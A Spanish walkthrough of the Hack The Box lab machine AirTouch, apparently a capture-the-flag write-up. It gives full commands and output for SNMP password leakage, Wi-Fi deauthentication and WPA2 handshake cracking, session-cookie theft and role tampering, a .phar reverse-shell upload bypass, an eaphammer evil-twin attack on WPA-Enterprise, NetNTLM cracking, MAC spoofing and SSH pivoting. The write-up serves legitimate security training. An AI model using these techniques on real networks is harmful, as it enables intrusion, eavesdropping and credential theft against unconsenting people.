Descripción
AirTouch es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Enumeración de SNMP para descubrir una contraseña por defecto utilizada por un usuario SSH
- Acceso a una máquina conectada a una red interna con interfaces Wi-Fi
- Recuperación de la clave WPA2 precompartida para conectarse a una red inalámbrica
- Sniffing de Wi-Fi para recuperar la cookie de un usuario de la interfaz web del router
- Manipulación de la cookie permite el pivote desde permisos de usuario a permisos de administración
- Aplicación web vulnerable a subida de archivos insegura lleva a la ejecución de comandos remotos en una máquina del router WPA2-PSK
- Escalada de privilegios en la máquina WPA2-PSK mediante credenciales reutilizadas lleva al descubrimiento de certificados, claves privadas y una credencial de la máquina del router WPA-EAP (Enterprise)
- Suplantación del punto de acceso WPA-EAP con el certificado descubierto lleva al descubrimiento de las credenciales del usuario que se conectó a la red, permitiendo la conexión
- Acceso a la máquina WPA-EAP utilizando las credenciales previamente descubiertas
- Escalada de privilegios en la máquina WPA-EAP utilizando credenciales encontradas en la configuración de Hostapd
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.9.3.
$ ping -c 3 10.129.9.3
PING 10.129.9.3 (10.129.9.3) 56(84) bytes of data.
64 bytes from 10.129.9.3: icmp_seq=1 ttl=63 time=43.3 ms
64 bytes from 10.129.9.3: icmp_seq=2 ttl=63 time=44.0 ms
64 bytes from 10.129.9.3: icmp_seq=3 ttl=63 time=43.6 ms
--- 10.129.9.3 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 43.264/43.612/43.977/0.291 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.9.3 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.9.3
Host is up (0.046s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
Obtenemos un puerto abierto: 22. Hacemos un escaneo de puerto UDP.
$ sudo nmap 10.129.9.3 -sU --open -T5 -oN nmap_scan_udp
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.9.3
Host is up (0.044s latency).
Not shown: 984 open|filtered udp ports (no-response), 15 closed udp ports (port-unreach)
PORT STATE SERVICE
161/udp open snmp
Nmap done: 1 IP address (1 host up) scanned in 13.78 seconds
Obtenemos el puerto UDP 161 abierto.
Enumeración
Luego realizamos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.129.9.3 -sV -sC -p22 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.9.3
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 bd:90:00:15:cf:4b:da:cb:c9:24:05:2b:01:ac:dc:3b (RSA)
| 256 6e:e2:44:70:3c:6b:00:57:16:66:2f:37:58:be:f5:c0 (ECDSA)
|_ 256 ad:d5:d5:f0:0b:af:b2:11:67:5b:07:5c:8e:85:76:76 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.71 seconds
$ nmap 10.129.9.3 -sU -sV -sC -p161 -oN nmap_scan_ports_udp
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.9.3
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: 639d3c7cddf5686900000000
| snmpEngineBoots: 1
|_ snmpEngineTime: 2d05h05m16s
| snmp-sysdescr: "The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)"
|_ System uptime: 2d05h05m16.48s (19111648 timeticks)
Service Info: Host: Consultant
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.71 seconds
Obtenemos dos servicios: uno Secure Shell (SSH), y uno Simple Network Management Protocol (SNMP). Como no tenemos credenciales factibles para el servicio SSH, vamos a movernos al servicio SNMP. Encontramos la contraseña por defecto del consultor como RxBlZhLmOkacNWScmZ6D. Con más enumeración, encontramos el hostname AirTouch.htb y un nombre de usuario admin.
$ snmpbulkwalk -Oa -c public -v2c 10.129.9.3
iso.3.6.1.2.1.1.1.0 = STRING: "\"The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)\""
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (19124560) 2 days, 5:07:25.60
iso.3.6.1.2.1.1.4.0 = STRING: "admin@AirTouch.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "Consultant"
iso.3.6.1.2.1.1.6.0 = STRING: "\"Consultant pc\""
...
Explotación
Estamos en condiciones de iniciar sesión en la máquina utilizando el protocolo SSH con el nombre de usuario consultant y la contraseña RxBlZhLmOkacNWScmZ6D.
$ ssh consultant@10.129.9.3
...
consultant@10.129.9.3's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
...
consultant@AirTouch-Consultant:~$ id
uid=1000(consultant) gid=1000(consultant) groups=1000(consultant)
Revisando la dirección IP de las interfaces de red, encontramos que podríamos estar dentro de una red interna, 172.20.1.0/24. Encontramos interfaces inalámbricas.
consultant@AirTouch-Consultant:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if29: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 8a:ac:1f:cc:e7:9d brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.20.1.2/24 brd 172.20.1.255 scope global eth0
valid_lft forever preferred_lft forever
7: wlan0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
...
Encontramos dos archivos de imagen en el directorio del usuario, diagram-net.png y photo_2023-03-01_22-04-52.png. Descargamos los archivos mediante SSH.
$ scp consultant@10.129.9.3:/home/consultant/diagram-net.png .
$ scp consultant@10.129.9.3:/home/consultant/photo_2023-03-01_22-04-52.png .
Encontramos que ambas imágenes dibujan el mismo concepto, un diagrama de red, una de ellas escrita a mano.
Existen tres VLANs: Consultant, Tablets y Corp. Y existen dos redes inalámbricas: AirTouch-Internet y AirTouch-Office. Necesitaríamos conectar a la red inalámbrica AirTouch-Internet para acceder a la VLAN Tablets y conectar a la red inalámbrica AirTouch-Office para acceder a la VLAN Corp. Ahora estamos dentro de la VLAN Consultant con el portátil. El usuario puede ejecutar todos los comandos como usuario root, por lo que se puede desplegar una consola root.
consultant@AirTouch-Consultant:~$ sudo -l
Matching Defaults entries for consultant on AirTouch-Consultant:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User consultant may run the following commands on AirTouch-Consultant:
(ALL) NOPASSWD: ALL
consultant@AirTouch-Consultant:~$ sudo -i
root@AirTouch-Consultant:~# id
uid=0(root) gid=0(root) groups=0(root)
Tenemos siete interfaces inalámbricas disponibles, desde wlan0 hasta wlan6. Vamos a cambiar el modo de operación de la wlan1 desde managed a monitor para descubrir todas las redes inalámbricas disponibles con la herramienta airodump-ng.
root@AirTouch-Consultant:~# iw dev wlan0 set type monitor
root@AirTouch-Consultant:~# airodump-ng --band abg wlan0
CH 114 ][ Elapsed: 24 s ]
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
AC:8B:A9:AA:3F:D2 -28 9 0 0 44 54e WPA2 CCMP MGT AirTouch-Office
AC:8B:A9:F3:A1:13 -28 9 0 0 44 54e WPA2 CCMP MGT AirTouch-Office
8E:E0:99:55:D7:D9 -28 4 0 0 6 54 CCMP PSK WIFI-JOHN
F0:9F:C2:A3:F1:A7 -28 4 0 0 6 54 CCMP PSK AirTouch-Internet
AA:21:5F:C8:9C:1A -28 5 0 0 9 54 WPA2 CCMP PSK MiFibra-24-D4VY
8A:84:F8:48:85:67 -28 10 0 0 3 54 CCMP PSK MOVISTAR_FG68
EE:09:8B:A2:6D:4B -28 239 0 0 1 54 TKIP PSK vodafoneFB6N
BSSID STATION PWR Rate Lost Frames Notes Probes
(not associated) C8:8A:9A:6F:F9:D2 -29 0 - 1 0 3 AccessLink,AirTouch-Office
Encontramos tanto AirTouch-Office (con autenticación de nombre de usuario y contraseña Enterprise) como AirTouch-Internet (con autenticación con clave precompartida). Movemos a realizar un escaneo de canal específico para encontrar los clientes conectados a las redes.
root@AirTouch-Consultant:~# airodump-ng -c 6 wlan0
CH 6 ][ Elapsed: 12 s ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
EE:09:8B:A2:6D:4B -28 100 124 0 0 1 54 TKIP PSK vodafoneFB6N
8E:E0:99:55:D7:D9 -28 100 124 0 0 6 54 CCMP PSK WIFI-JOHN
F0:9F:C2:A3:F1:A7 -28 100 124 12 0 6 54 CCMP PSK AirTouch-Internet
BSSID STATION PWR Rate Lost Frames Notes Probes
(not associated) 28:6C:07:12:EE:A1 -29 0 - 1 0 4 AirTouch-Office
F0:9F:C2:A3:F1:A7 28:6C:07:FE:A3:22 -29 54 -54 0 12
root@AirTouch-Consultant:~# airodump-ng -c 44 wlan0
CH 44 ][ Elapsed: 6 s ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
AC:8B:A9:AA:3F:D2 -28 100 56 2 0 44 54e WPA2 CCMP MGT AirTouch-Office
EE:09:8B:A2:6D:4B -28 100 56 0 0 1 54 TKIP PSK vodafoneFB6N
AC:8B:A9:F3:A1:13 -28 0 56 2 0 44 54e WPA2 CCMP MGT AirTouch-Office
BSSID STATION PWR Rate Lost Frames Notes Probes
AC:8B:A9:AA:3F:D2 C8:8A:9A:6F:F9:D2 -29 0 -54e 0 1
AC:8B:A9:F3:A1:13 28:6C:07:12:EE:F3 -29 0 - 6e 526 2 AirTouch-Office
Encontramos que la red AirTouch-Internet con F0:9F:C2:A3:F1:A7 BSSID tiene un cliente, con 28:6C:07:FE:A3:22 dirección MAC. La red AirTouch-Office con AC:8B:A9:AA:3F:D2 BSSID tiene un cliente, con C8:8A:9A:6F:F9:D2 dirección MAC. Y la red AirTouch-Office con AC:8B:A9:F3:A1:13 BSSID tiene un cliente, con 28:6C:07:12:EE:F3 dirección MAC.
Vamos a intentar recuperar la contraseña de la red AirTouch-Internet capturando una handshake, primero desconectando al cliente de la red y luego capturando el proceso de conexión, para obtener un hash del que se recuperará la contraseña.
Encontramos que el usuario root tiene disponible la herramienta eaphammer, utilizada principalmente para atacar redes WPA Enterprise, como AirTouch-Office.
root@AirTouch-Consultant:~# ls
eaphammer
Comenzamos con la captura de paquetes Wi-Fi en un archivo PCAP con la herramienta airodump-ng.
root@AirTouch-Consultant:~# airodump-ng -c 6 -w airtouchinternet wlan0
Deautenticamos al usuario de la red con la herramienta aireplay-ng.
root@AirTouch-Consultant:~# aireplay-ng -0 10 -a F0:9F:C2:A3:F1:A7 -c 28:6C:07:FE:A3:22 wlan0
Waiting for beacon frame (BSSID: F0:9F:C2:A3:F1:A7) on channel 6
Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
...
Con el mensaje WPA handshake: F0:9F:C2:A3:F1:A7 encontramos que se ha capturado una handshake. Encontramos un diccionario en el archivo eaphammer/wordlists/rockyou.txt, por lo que utilizamos la herramienta aircrack-ng para recuperar la contraseña del punto de acceso.
root@AirTouch-Consultant:~# aircrack-ng -w eaphammer/wordlists/rockyou.txt airtouchinternet-01.cap
Reading packets, please wait...
Opening airtouchinternet-01.cap
Read 2715 packets.
# BSSID ESSID Encryption
1 8E:E0:99:55:D7:D9 WIFI-JOHN Unknown
2 AC:8B:A9:AA:3F:D2 AirTouch-Office Unknown
3 AC:8B:A9:F3:A1:13 AirTouch-Office Unknown
4 EE:09:8B:A2:6D:4B vodafoneFB6N Unknown
5 F0:9F:C2:A3:F1:A7 AirTouch-Internet WPA (1 handshake)
Index number of target network ? 5
Aircrack-ng 1.6
[00:00:10] 22841/14344391 keys tested (2367.86 k/s)
Time left: 1 hour, 40 minutes, 50 seconds 0.16%
KEY FOUND! [ challenge ]
Master Key : 45 16 48 A5 D0 B4 13 CA 7B BB E1 D8 14 67 29 DC
31 A4 29 1F 98 95 BC D7 CC E1 5C E8 37 14 E9 20
Transient Key : 1A 25 25 25 25 25 25 25 E2 0C C9 36 02 40 8F DB
AE D9 61 39 76 19 A7 E2 76 FB 89 DE 54 11 3D F0
44 38 0E DE 6F 40 DB F8 0A CE 18 8E B0 41 B3 39
94 2F 9C A3 71 49 6A 69 D4 84 B7 B3 04 85 19 EE
EAPOL HMAC : 26 4C 07 8A 57 5B AB 6A 8D F1 EF DE 74 E4 FB 01
Recuperamos la contraseña para el punto de acceso, challenge. Vamos a utilizarla para descifrar el contenido del archivo PCAP para comprobar el tráfico generado por el cliente conectado. Podemos utilizar la herramienta airdecap-ng.
root@AirTouch-Consultant:~# airdecap-ng -e AirTouch-Internet -p "challenge" airtouchinternet-01.cap
Total number of stations seen 1
Total number of packets read 2715
Total number of WEP data packets 0
Total number of WPA data packets 60
Number of plaintext data packets 0
Number of decrypted WEP packets 0
Number of corrupted WEP packets 0
Number of decrypted WPA packets 19
Number of bad TKIP (WPA) packets 0
Number of bad CCMP (WPA) packets 0
root@AirTouch-Consultant:~# cp airtouchinternet-01-dec.cap /tmp/airtouchinternet-01-dec.cap
19 paquetes WPA han sido descifrados en el archivo airtouchinternet-01-dec.cap. Copiamos el archivo a nuestra máquina y lo revisamos con la herramienta Wireshark. Encontramos una solicitud HTTP a http://192.168.3.1/lab.php con dos cookies para autenticación: PHPSESSID y UserRole.
GET /lab.php HTTP/1.1
Host: 192.168.3.1
User-Agent: curl/7.88.1
Accept: */*
Cookie: PHPSESSID=ehl944ii3i4ab5301h4fie5kat; UserRole=user
Nos conectamos al punto de acceso utilizando la interfaz wlan1. Necesitamos crear un archivo de configuración wpa_supplication con la herramienta wpa_passphare (ingresamos la contraseña en stdin).
root@AirTouch-Consultant:~# wpa_passphrase AirTouch-Internet challenge > AirTouch-Internet.conf
root@AirTouch-Consultant:~# cat AirTouch-Internet.conf
network={
ssid="AirTouch-Internet"
#psk="challenge"
psk=d1ff702dcb1182eec9e189e1693555a007dc1b21be358e02b87574497dcf017e
}
root@AirTouch-Consultant:~# wpa_passphrase AirTouch-Internet challenge > AirTouch-Internet.conf
root@AirTouch-Consultant:~# cat AirTouch-Internet.conf
network={
ssid="AirTouch-Internet"
#psk="challenge"
psk=d1ff702dcb1182eec9e189e1693555a007dc1b21be358e02b87574497dcf017e
}
root@AirTouch-Consultant:~# wpa_supplicant -i wlan1 -c AirTouch-Internet.conf
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information
wlan1: SME: Trying to authenticate with f0:9f:c2:a3:f1:a7 (SSID='AirTouch-Internet' freq=2437 MHz)
wlan1: Trying to associate with f0:9f:c2:a3:f1:a7 (SSID='AirTouch-Internet' freq=2437 MHz)
wlan1: Associated with f0:9f:c2:a3:f1:a7
wlan1: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
wlan1: WPA: Key negotiation completed with f0:9f:c2:a3:f1:a7 [PTK=CCMP GTK=TKIP]
wlan1: CTRL-EVENT-CONNECTED - Connection to f0:9f:c2:a3:f1:a7 completed [id=0 id_str=]
La conexión es exitosa, usamos el comando dhclient para iniciar el cliente DHCP para obtener una dirección IP en la VLAN.
root@AirTouch-Consultant:~# dhclient wlan1
root@AirTouch-Consultant:~# ip a
...
8: wlan1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff
inet 192.168.3.23/24 brd 192.168.3.255 scope global dynamic wlan1
valid_lft 86387sec preferred_lft 86387sec
...
Obtenemos la dirección IP 192.168.3.23. Vamos a crear una redirección de puerto local SSH desde el puerto HTTP de la máquina 192.168.3.1 a nuestro puerto local 8000, para obtener acceso a la página web previamente descubierta.
$ ssh -N -L 8000:192.168.3.1:80 consultant@10.129.9.3
Después de acceder a http://127.0.0.1:8000 obtenemos acceso a una página de inicio de sesión de un router:
Como hemos recolectado las cookies anteriormente cambiamos ellas en el navegador y luego nos movemos a la página lab.php. Obtenemos el mensaje Welcome manager: Congratulation! You have logged into password protected page. Click here to go to index.php to get the flag.. Obtenemos redirigido a la página index.php. La configuración de un punto de acceso se muestra, pero la contraseña no se muestra.
Encontramos un espacio vacío entre la sección WiFi Settings y el Logout. Podríamos no tener permisos para ver esa sección. Vamos a cambiar el UserRole de user a admin para comprobar los cambios en el rol.
De hecho, aparece una nueva sección, en la cual podemos subir un archivo. Vamos a intentar subir un archivo PHP para desplegar una terminal inversa a nuestra máquina.
$ cp /usr/share/webshells/php/php-reverse-shell.php shell.php
El archivo de subida se rechaza con el mensaje Sorry, PHP and HTML files are not allowed. Sorry, your file was not uploaded.. Vamos a cambiar la extensión del archivo a .phar para comprobar si lo acepta.
$ mv shell.php shell.phar
El archivo de subida se acepta con el mensaje The file shell.phar has been uploaded to folder uploads/. Entonces sabemos que el archivo se subió a la carpeta uploads. Verificamos si el archivo es ejecutable en el servidor.
$ curl 'http://127.0.0.1:8000/uploads/shell.phar'
WARNING: Failed to daemonise. This is quite common and not fatal.
Connection refused (111)
Confirmamos que el archivo se ejecuta. El proceso falló ya que no teníamos el puerto TCP abierto. Necesitamos cambiar la dirección IP del archivo shell.phar a la que recibimos del servidor DHCP, en este caso 192.168.3.23. Luego iniciamos un puerto TCP en escucha en la máquina remota.
root@AirTouch-Consultant:~# nc -nvlp 1234
Y reactivamos la ejecución de la terminal inversa.
$ curl 'http://127.0.0.1:8000/uploads/rs.phar'
Recibimos en la máquina remota una conexión desde la máquina AirTouch-AP-PSK y el nombre de usuario www-data.
root@AirTouch-Consultant:~# nc -nvlp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.3.1 38002
Linux AirTouch-AP-PSK 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
up 5:08, 0 users, load average: 0.14, 0.20, 0.23
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ bash -i
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@AirTouch-AP-PSK:/$
Encontramos las credenciales de los usuarios de la página del router en el archivo /var/www/html/login.php. Las credenciales son JunDRDZKHDnpkpDDvay para el usuario admin y 2wLFYNh4TSTgA5sNgT4 para el usuario manager.
www-data@AirTouch-AP-PSK:/$ cat /var/www/html/login.php
<?php session_start(); /* Starts the session */
// Check if user is already logged in
if (isset($_SESSION['UserData']['Username'])) {
header("Location:index.php"); // Redirect to index.php
exit; // Make sure to exit after redirection
}
session_start();
if (isset($_POST['Submit'])) {
/* Define username, associated password, and user attribute array */
$logins = array(
/*'user' => array('password' => 'JunDRDZKHDnpkpDDvay', 'role' => 'admin'),*/
'manager' => array('password' => '2wLFYNh4TSTgA5sNgT4', 'role' => 'user')
);
...
Encontramos dos usuarios de consola en el sistema: root y user.
www-data@AirTouch-AP-PSK:/$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
user:x:1000:1000::/home/user:/bin/bash
Podemos pivotar a la cuenta user utilizando la contraseña JunDRDZKHDnpkpDDvay. Podemos utilizar SSH y la redirección de puertos locales para conectarnos desde nuestra máquina.
$ ssh -N -L 8000:192.168.3.1:22 consultant@10.129.9.3
$ ssh user@127.0.0.1 -p 8000
...
user@AirTouch-AP-PSK:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
El usuario puede ejecutar todos los comandos como usuario root, por lo que podemos pivotar a una sesión de root con facilidad.
user@AirTouch-AP-PSK:~$ sudo -l
Matching Defaults entries for user on AirTouch-AP-PSK:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on AirTouch-AP-PSK:
(ALL) NOPASSWD: ALL
user@AirTouch-AP-PSK:~$ sudo -i
root@AirTouch-AP-PSK:~# id
uid=0(root) gid=0(root) groups=0(root)
Encontramos muchos archivos y scripts para desplegar los puntos de acceso con la herramienta Hostapd.
root@AirTouch-AP-PSK:~# ls
certs-backup cronAPs.sh psk send_certs.sh start.sh user.txt wlan_config_aps
En el archivo del script Bash send_certs.sh encontramos las credenciales para acceder a la máquina AirTouch-office, en la dirección IP 10.10.10.1, con el nombre de usuario remote y la contraseña xGgWEwqUpfoOVsLeROeG. El script sincroniza los certificados y claves privadas utilizados para autenticarse con el punto de acceso Office con la máquina.
root@AirTouch-AP-PSK:~# cat send_certs.sh
#!/bin/bash
# DO NOT COPY
# Script to sync certs-backup folder to AirTouch-office.
# Define variables
REMOTE_USER="remote"
REMOTE_PASSWORD="xGgWEwqUpfoOVsLeROeG"
REMOTE_PATH="~/certs-backup/"
LOCAL_FOLDER="/root/certs-backup/"
# Use sshpass to send the folder via SCP
sshpass -p "$REMOTE_PASSWORD" scp -r "$LOCAL_FOLDER" "$REMOTE_USER@10.10.10.1:$REMOTE_PATH"
root@AirTouch-AP-PSK:~# ls certs-backup/
ca.conf ca.crt server.conf server.crt server.csr server.ext server.key
Con estos datos podemos desarrollar un ataque a la red AirTouch-Office para capturar las credenciales del usuario que se conecta a la red, usando la herramienta eaphammer. Comenzamos creando un archivo .pem al concatenar los archivos server.key y server.crt y regresamos a la máquina consultant.
root@AirTouch-AP-PSK:~# cat certs-backup/server.key certs-backup/server.crt > server.pem
Importamos el certificado en la herramienta eaphammer.
root@AirTouch-Consultant:~# cd eaphammer/
root@AirTouch-Consultant:~/eaphammer# nano server.pem
root@AirTouch-Consultant:~/eaphammer# ./eaphammer --cert-wizard import --server-cert server.pem
...
[?] Am I root?
[*] Checking for rootness...
[*] I AM ROOOOOOOOOOOOT
[*] Root privs confirmed! 8D
[CW] Checking to ensure private key and server cert are valid...
[CW] Complete!
[CW] Loading private key from server.pem
[CW] Complete!
[CW] Loading full certificate chain from server.pem
[CW] Complete!
[CW] Writing private key and full certificate chain to file...
[CW] Complete!
[CW] Private key and full certificate chain written to: /root/eaphammer/certs/server/AirTouch CA.pem
[CW] Activating full certificate chain...
[CW] Complete!
Entonces lanzamos el ataque a la red AirTouch-Office. Vamos a utilizar la misma BSSID para permitir que el cliente se conecte a nuestra red. Vamos a utilizar la interfaz wlan2. Necesitaremos ejecutar el proceso en ambos puntos de acceso que tengan el mismo nombre hasta que el proceso genere un hash.
root@AirTouch-Consultant:~/eaphammer# ./eaphammer -i wlan2 --channel 44 --auth wpa-eap --essid AirTouch-Office --bssid ac:8b:a9:f3:a1:13 --creds
...
[?] Am I root?
[*] Checking for rootness...
[*] I AM ROOOOOOOOOOOOT
[*] Root privs confirmed! 8D
[*] Saving current iptables configuration...
[*] Reticulating radio frequency splines...
Error: Could not create NMClient object: Could not connect: No such file or directory.
[*] Using nmcli to tell NetworkManager not to manage wlan2...
...
[*] Success: wlan2 no longer controlled by NetworkManager.
[!] The hw_mode specified in hostapd.ini is invalid for the selected channel (g, 44)
[!] Falling back to hw_mode: a
...
[hostapd] AP starting...
...
rfkill: Cannot open RFKILL control device
wlan2: interface state UNINITIALIZED->COUNTRY_UPDATE
Using interface wlan2 with hwaddr ac:8b:a9:f3:a1:13 and ssid "AirTouch-Office"
wlan2: interface state COUNTRY_UPDATE->ENABLED
wlan2: AP-ENABLED
Press enter to quit...
wlan2: STA 28:6c:07:12:ee:a1 IEEE 802.11: authenticated
wlan2: STA 28:6c:07:12:ee:a1 IEEE 802.11: associated (aid 1)
wlan2: CTRL-EVENT-EAP-STARTED 28:6c:07:12:ee:a1
wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
mschapv2:
domain\username: AirTouch\r4ulcl
username: r4ulcl
challenge: 93:24:f8:5c:a6:57:ce:96
response: 7c:8b:4b:8c:f1:48:c4:1c:32:b1:46:6d:b8:15:c2:fd:be:92:b6:53:49:22:9a:02
jtr NETNTLM: r4ulcl:$NETNTLM$9324f85ca657ce96$7c8b4b8cf148c41c32b1466db815c2fdbe92b65349229a02
hashcat NETNTLM: r4ulcl::::7c8b4b8cf148c41c32b1466db815c2fdbe92b65349229a02:9324f85ca657ce96
Después de varios intentos recibiremos las credenciales hasheadas del usuario que se conectó a la red, AirTouch\r4ulcl con la hash NTLM r4ulcl:$NETNTLM$9324f85ca657ce96$7c8b4b8cf148c41c32b1466db815c2fdbe92b65349229a02, recuperable con la herramienta John The Ripper.
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "netntlm", but the string is also recognized as "netntlm-naive"
Use the "--format=netntlm-naive" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (netntlm, NTLMv1 C/R [MD4 DES (ESS MD5) 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
laboratory (r4ulcl)
1g 0:00:00:00 DONE 50.00g/s 4636Kp/s 4636Kc/s 4636KC/s ragde..ivan23
Use the "--show --format=netntlm" options to display all of the cracked passwords reliably
Session completed.
Después de romper el hash recibimos la contraseña laboratory para el usuario AirTouch\r4ulcl. Creamos un nuevo archivo wpa_supplicant para conectarnos a la red, así:
network={
ssid="AirTouch-Office"
bssid=ac:8b:a9:f3:a1:13
key_mgmt=WPA-EAP
identity="AirTouch\r4ulcl"
password="laboratory"
}
Entonces cambiamos la dirección MAC de la interfaz que vamos a utilizar para conectarnos a la red, wlan2, a la que utiliza el cliente que se conectó previamente, 28:6c:07:12:ee:a1.
root@AirTouch-Consultant:~# ip link set wlan2 address 28:6c:07:12:ee:a1
Podemos conectarnos finalmente a la red WPA Enterprise, iniciamos el cliente DHCP para obtener la dirección IP.
root@AirTouch-Consultant:~# wpa_supplicant -i wlan2 -c AirTouch-Office.conf
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information
wlan2: SME: Trying to authenticate with ac:8b:a9:f3:a1:13 (SSID='AirTouch-Office' freq=5220 MHz)
wlan2: Trying to associate with ac:8b:a9:f3:a1:13 (SSID='AirTouch-Office' freq=5220 MHz)
wlan2: Associated with ac:8b:a9:f3:a1:13
...
EAP-MSCHAPV2: Authentication succeeded
wlan2: CTRL-EVENT-EAP-SUCCESS EAP authentication completed successfully
wlan2: PMKSA-CACHE-ADDED ac:8b:a9:f3:a1:13 0
wlan2: WPA: Key negotiation completed with ac:8b:a9:f3:a1:13 [PTK=CCMP GTK=CCMP]
wlan2: CTRL-EVENT-CONNECTED - Connection to ac:8b:a9:f3:a1:13 completed [id=0 id_str=]
root@AirTouch-Consultant:~# dhclient wlan2
root@AirTouch-Consultant:~# ip a
...
9: wlan2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 28:6c:07:12:ee:a1 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.95/24 brd 10.10.10.255 scope global dynamic wlan2
valid_lft 863964sec preferred_lft 863964sec
inet6 fe80::2a6c:7ff:fe12:eea1/64 scope link
valid_lft forever preferred_lft forever
Recibimos la dirección IP 10.10.10.95. Creamos una nueva redirección de puertos locales para conectarnos a la dirección IP del router 10.10.10.1 con el usuario remote que descubrimos previamente.
$ ssh -N -L 8001:10.10.10.1:22 consultant@10.129.9.3
$ ssh remote@127.0.0.1 -p 8001
...
remote@AirTouch-AP-MGT:~$ id
uid=1000(remote) gid=1000(remote) groups=1000(remote)
Tenemos acceso a la máquina AirTouch-AP-MGT. Encontramos otros dos usuarios de consola en el sistema: admin y root.
remote@AirTouch-AP-MGT:~$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
remote:x:1000:1000::/home/remote:/bin/bash
admin:x:1001:1001::/home/admin:/bin/bash
Encontramos las credenciales del usuario admin en el archivo /etc/hostapd/hostapd_wpe.eap_user, en el cual se guardan las credenciales del punto de acceso, con la contraseña xMJpzXt4D9ouMuL3JJsMriF7KZozm7.
remote@AirTouch-AP-MGT:~$ ls /etc/hostapd/
hostapd_wpe.conf.tmp hostapd_wpe.eap_user hostapd_wpe2.conf.tmp ifupdown.sh
remote@AirTouch-AP-MGT:~$ grep admin /etc/hostapd/hostapd_wpe.eap_user
"admin" MSCHAPV2 "xMJpzXt4D9ouMuL3JJsMriF7KZozm7" [2]
Podemos pivotar a esta cuenta usando SSH. El usuario puede ejecutar cualquier comando como usuario root, por lo que es fácil desplegar una terminal root.
$ ssh admin@127.0.0.1 -p 8001
...
